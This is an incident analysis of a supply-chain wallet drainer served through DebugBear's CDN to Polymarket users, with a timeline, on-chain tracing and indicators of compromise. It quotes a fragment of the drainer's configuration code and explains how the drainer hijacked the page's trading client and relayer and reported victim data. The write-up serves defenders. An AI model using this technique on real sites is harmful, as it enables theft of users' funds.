Polymarket wallet drainer served from DebugBear's script CDN
On 29 October 2026 the DebugBear monitoring script Polymarket loaded was replaced with a wallet drainer. In 52 minutes its recipient wallet took in 28,636,284.45 POL and positions from 33 accounts, and it had forwarded everything by 18:38 UTC.

| Script | cdn.debugbear[.]com/C7xcKKrjUnXK.js |
|---|---|
| SHA-256 | 0755e767504d8103f6c27b9e765a1026507a17c04513242adb503df7777879e5 |
| Active | 29 October 2026: first funds at 17:10:23 UTC, removed from Polymarket by 17:59:20 UTC |
| Recipient | 0x3F99139F1C5854bb628c2e576Aaf638e99dFfc18 (Polygon) |
| Received | 28,636,284.45 POL and positions from 33 accounts |
Key takeaways
- On 29 October 2026 the DebugBear real-user monitoring (RUM) script loaded by Polymarket was replaced with a wallet drainer. It ran in logged-in sessions between 16:54 UTC, when the script's origin went down, and 17:59 UTC, when Polymarket removed the script.
- The drainer borrowed Polymarket's own trading client from the page, signed transfers with the account's existing signer and submitted them through Polymarket's own relayer. Every host it called, apart from DebugBear's, was on Polymarket's Content Security Policy.
- The recipient wallet took in 28,636,284.45 POL and positions from 33 deposit wallets between 17:10 and 18:02 UTC, then moved the POL to three wallets and the positions to a fourth by 18:38 UTC.
Acknowledgements: Alon Gal of Hudson Rock captured the drainer at 18:12:06 and 18:13:04 UTC and shared the files with us. Hudson Rock's write-up covers how the warning surfaced.
We analyzed the drainer DebugBear's CDN served to Polymarket visitors on 29 October 2026, traced its recipient wallet on Polygon and compared it with archived copies of the same script URL. The script targets Polymarket alone: it reads Polymarket's storage keys, calls Polymarket's APIs and finds Polymarket's trading client inside the page.
Everything below comes from static analysis of the captured script, the Internet Archive's copies of cdn.debugbear[.]com/C7xcKKrjUnXK.js, and Polygon chain data read from public RPC nodes between 20:30 and 20:50 UTC on 29 October.
Timeline
The table combines archived responses, Polygon block times and published reports. Times from reports name their source:
| Time (UTC) | Event |
|---|---|
| 2026-10-07 09:43:16 | DebugBear's clean RUM file for snippet C7xcKKrjUnXK is last modified, per its archived headers |
| 2026-10-27 12:50:43 | Date on the drainer file, per the server that later served it |
| 2026-10-29 11:48:50 | A Cloudflare edge fetches the clean file from origin (archived at 12:06:55, 1,085 seconds old) |
| 2026-10-29 16:54:57 | Cloudflare returns error 521 for cdn.debugbear[.]com: the origin server is not responding (archived) |
| 2026-10-29 17:10:23 | First POL reaches the recipient, block 96392296 |
| 2026-10-29 17:26:29 | First position tokens reach the recipient |
| 2026-10-29 17:27:45 | Cloudflare's Chicago edge caches the drainer (captured at 18:12:06, 2,661 seconds old) |
| 2026-10-29 17:30 | Users report drained wallets (BNO News) |
| 2026-10-29 17:45:43 to 17:56:05 | The recipient sends 25 position transfers to 0x5a2764fbbe5d139ef0ed988ec5f95320ce730c0b |
| 2026-10-29 17:59:20 | Polymarket builds production with "chore(polymarket): remove debugbear rum script (#15337)" |
| 2026-10-29 18:00:58 | DebugBear posts that it is impacted by a security incident and tells RUM customers to remove its embed code |
| 2026-10-29 18:02:17 | Last position tokens reach the recipient |
| 2026-10-29 18:05 | Polymarket's status page shows cancel-only mode with relayer actions paused (Unchained) |
| 2026-10-29 18:15 | The recipient holds 28,636,284.45 POL |
| 2026-10-29 18:28:32 to 18:38:16 | Three transfers move all 28,636,284.45 POL to three wallets |
| 2026-10-29 18:30:58 | TheFatMbappe posts a trace of 2.724M pUSD from 721 wallets |
| 2026-10-29 18:33:12 | Polymarket Traders posts that a third-party provider was compromised and that affected users will be made whole |
| 2026-10-29 18:54:45 | Polymarket Traders posts that trading will resume at about 19:00 UTC |
| 2026-10-29 19:00:35 | Polymarket Traders posts that trading is fully back online and affected traders will be reimbursed |
| 2026-10-29 20:37 | cdn.debugbear[.]com and data.debugbear[.]com return NXDOMAIN |
How the compromise happened
DebugBear sells RUM, a script that measures page speed in visitors' browsers. Each customer embeds a per-project file from cdn.debugbear[.]com. Polymarket's file was C7xcKKrjUnXK.js.
The Internet Archive holds copies of that URL from June 2025 to the morning of 29 October 2026. Every copy is DebugBear's RUM code, with "snippetKey":"C7xcKKrjUnXK" and "sendTo":"https://data.debugbear.com" in its configuration. The last clean copy, archived at 12:06:55 UTC on 29 October, is 60,493 bytes and came from Google Cloud Storage, with an MD5 ETag and x-goog-* headers.
At 16:54:57 UTC Cloudflare could not reach the script's origin and returned error 521. Sixteen minutes later the first funds reached the recipient. The drainer response carried an nginx-format ETag, 6ae09e23-3b53, which encodes the file time and its 15,187-byte size, and none of the Cloud Storage headers. At 18:13:44 UTC data.debugbear[.]com answered with an nginx/1.24.0 (Ubuntu) 404 page. A different server was answering for both DebugBear hostnames.
At 18:00:58 UTC DebugBear posted that it was impacted by an ongoing security incident and told RUM customers to remove its embed code. Polymarket had already built a release without the script at 17:59:20 UTC.

At 18:33:12 UTC the Polymarket Traders account said one of its third-party providers was compromised, that it referred the matter to law enforcement and that anyone affected will be made whole. At 19:00:35 UTC it said trading was fully back online and that it is reimbursing all affected traders.


Technical analysis
The drainer is a single 15,187-byte minified function named startdebugger. The code is plain JavaScript with no obfuscation.
Stage 1: The script waits for a logged-in trader
The script starts three requests at once: its configuration, the visitor's location from polymarket.com/api/geoblock, and a 1.5-second wait. Visitors the geoblock API marks as blocked are skipped.
The configuration request falls back to hard-coded values:
static async getInitialData(){try{return await(await fetch(this._apiUrl+"/metrics/init?referrer="+this.TRACK_ID,{method:"GET"})).json()}
catch{return{recipient:N,minimalPerPosition:10,minimalToProcess:10,priorityToken:"POL"}}}
N is 0x3F99139F1C5854bb628c2e576Aaf638e99dFfc18. The configuration endpoint returned an HTML 404 at 18:13:44 UTC, so the JSON parse failed and the defaults applied: that recipient, a $10 minimum for the account and for each position, and POL as the payout coin.
The script then reads three localStorage keys that Polymarket's app writes:
polymarket.auth.params, the login type and wallet addresspolymarket.auth.proxyWallet, the deposit wallet that holds the account's fundspoly_clob_api_key_map, the trading API credentials for each wallet
A visitor with no login, or no trading credentials for the logged-in wallet, goes no further. The code sorts accounts into eoa, a browser wallet such as MetaMask, and magic, Polymarket's email login.
Stage 2: The script borrows the page's trading client
The drainer carries no keys. It uses the trading client Polymarket's own page has already built.
React stores each component's props and hook state on internal "fiber" objects attached to DOM elements under keys starting __reactFiber$. The script collects up to 400 buttons, links and containers and walks their fiber trees for up to 5 seconds or 60,000 nodes. It keeps any object with a postOrder method and a createOrder or createMarketOrder method: Polymarket's order client, with its signer attached.
If the client has not mounted, the script checks 15 more times at 250 ms intervals. After that it sets location.pathname to / followed by the wallet address. The new page loads the script again.
Stage 3: The script moves cash and positions to the recipient
The script reads the deposit wallet's two token balances over Polygon RPC and up to 200 open positions from data-api.polymarket.com. It stops when the account is worth less than $10.
Cash goes first when it is worth more than the positions. The script asks api.fun.xyz for a quote that swaps the balance and pays it to the recipient in POL. It falls back to native USDC, then to a direct USDC.e transfer.
Each set of calls is wrapped in an EIP-712 DepositWallet batch, signed with the page's signer and posted to relayer-v2.polymarket.com/submit with a one-hour deadline. EIP-712 is the standard for signing structured data. A browser wallet shows each batch as a signature request for DepositWallet.
Positions worth more than $10 each go next, by account type:
- Browser-wallet accounts move every qualifying position to the recipient in one
safeBatchTransferFromcall on the conditional-token contract0x4D97DCd97eC945f40cF65F87097ACe5EA0476045. - Email-login accounts sell each position with fill-and-kill SELL orders, first at 97% of the current price, then at 50%, then at the market's minimum tick. Closed, inactive and redeemable markets are skipped. The proceeds are swept with the cash routine.
After the sales the script polls the balance for up to 50 seconds. The check assigns the new balance to the old one before comparing them, so it passes on the first read.
Stage 4: The script reports each step to the data host
Three endpoints on data.debugbear[.]com receive the victim's details:
| Endpoint | Sent |
|---|---|
/metrics/submit |
Portfolio value, cash, and each position's market title, value and outcome, before anything moves |
/metrics/update |
Each cash sweep: recipient, value, currency and transaction hash |
/metrics/handle |
Each position transfer: recipient, value, position IDs and transaction hash |
Every report also carries the deposit wallet, the login wallet, the login type, the operating system, the tracking ID 4c6b64a0-a7ef-4c0f-9c70-3a4e6f89065c, and the IP address and country from Polymarket's geoblock API.
Every other host the drainer calls appears in Polymarket's Content Security Policy: *.polymarket.com for the APIs and relayer, *.alchemy.com for RPC and *.fun.xyz for swap quotes. The policy allowed each request because each went to a host Polymarket uses.
Impact
The recipient wallet held nothing and had sent no transactions before 17:10:23 UTC on 29 October. Its POL balance held at about 811,000 from 17:14 to 17:26 UTC, then climbed steeply once Cloudflare's Chicago edge cached the drainer at 17:27. It stopped rising at 18:11 UTC, 12 minutes after Polymarket's release without the script.
In the 52 minutes from 17:10 UTC it received:
- 28,636,284.45 POL, delivered by swap contracts
- 36 transfers of position tokens from 33 deposit wallets
- 10,383.33 USDC.e in 15 transfers and 6,320.69 USDC in 14 transfers
The recipient forwarded all of it. It swapped the stablecoins in four transactions at 17:32 and 18:02 UTC. It sent the position tokens to 0x5a2764fbbe5d139ef0ed988ec5f95320ce730c0b in 25 transfers between 17:45 and 17:56 UTC. The POL left in three transfers:
| Time (UTC) | Amount (POL) | To |
|---|---|---|
| 18:28:32 | 18,613,584.00 | 0xe4c4c39c1733e1c7c06b79f97ed442b68df41ec6 |
| 18:30:41 | 4,295,442.00 | 0x5392587814ce8c6af6789764f88e5e9ab0b9962c |
| 18:38:16 | 5,727,258.45 | 0xc91ee0574a14446de200923729c349b9cae19b60 |
At 20:50 UTC those three wallets held 15,331,308, 4,295,442 and 4,235,983 POL.
TheFatMbappe traced 2.724M pUSD from 721 source wallets in transactions that paid the recipient. BNO News reported about $2.6 million from transaction records. Polymarket has not published a figure.

Indicators of compromise (IOCs)
Network indicators
| Indicator | Type | Context |
|---|---|---|
hxxps://cdn.debugbear[.]com/C7xcKKrjUnXK.js |
URL | Drainer script served on 29 October 2026 |
hxxps://data.debugbear[.]com/metrics/init |
URL | Drainer configuration |
hxxps://data.debugbear[.]com/metrics/submit |
URL | Portfolio report |
hxxps://data.debugbear[.]com/metrics/update |
URL | Cash sweep report |
hxxps://data.debugbear[.]com/metrics/handle |
URL | Position transfer report |
File hashes (SHA-256)
| Indicator | Context |
|---|---|
0755e767504d8103f6c27b9e765a1026507a17c04513242adb503df7777879e5 |
Drainer, 15,187 bytes |
0525f046c83daa429e0f676d36650d51d9e283ba5cacfa56097c80bad586128b |
Clean DebugBear RUM file for the same URL, 60,493 bytes, served until 29 October |
Wallet addresses (Polygon)
| Indicator | Context |
|---|---|
0x3F99139F1C5854bb628c2e576Aaf638e99dFfc18 |
Hard-coded recipient |
0x5a2764fbbe5d139ef0ed988ec5f95320ce730c0b |
Received the stolen positions |
0xe4c4c39c1733e1c7c06b79f97ed442b68df41ec6 |
Received 18,613,584 POL |
0x5392587814ce8c6af6789764f88e5e9ab0b9962c |
Received 4,295,442 POL |
0xc91ee0574a14446de200923729c349b9cae19b60 |
Received 5,727,258.45 POL |